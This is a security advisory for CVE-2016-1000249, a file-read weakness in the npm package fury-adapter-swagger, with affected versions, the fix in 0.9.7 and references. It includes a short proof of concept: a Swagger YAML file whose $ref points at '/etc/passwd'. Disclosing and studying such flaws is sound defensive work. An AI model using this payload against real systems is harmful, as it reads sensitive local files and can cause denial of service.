CVE-2016-1000249 fury-adapter-swagger allows arbitrary file read from system
HighCVSS 7.3
- Published
- Updated
- Exploit status
- No public exploit known
Description
fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.
Proof of Concept:
---
swagger: '2.0'
info:
title: Read local files
version: '1.0'
paths:
/foo:
get:
responses:
200:
description: Some description
examples:
text/html:
example:
$ref: '/etc/passwd'
Recommendation
Upgrade to version 0.9.7 or later.
Upgrade path
1 package: 1 fixed.
| Package | Affected | Fixed in | Status |
|---|---|---|---|
| npm fury-adapter-swagger(npm) | >= 0.2.0, < 0.9.7 | 0.9.7 | Fixed |
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| npm fury-adapter-swagger(npm) | >= 0.2.0, < 0.9.7 | 0.9.7 |
References
- www.npmjs.com
- github.com patch
- github.com patch
- github.com patch
- security.snyk.io
- github.com
- github.com product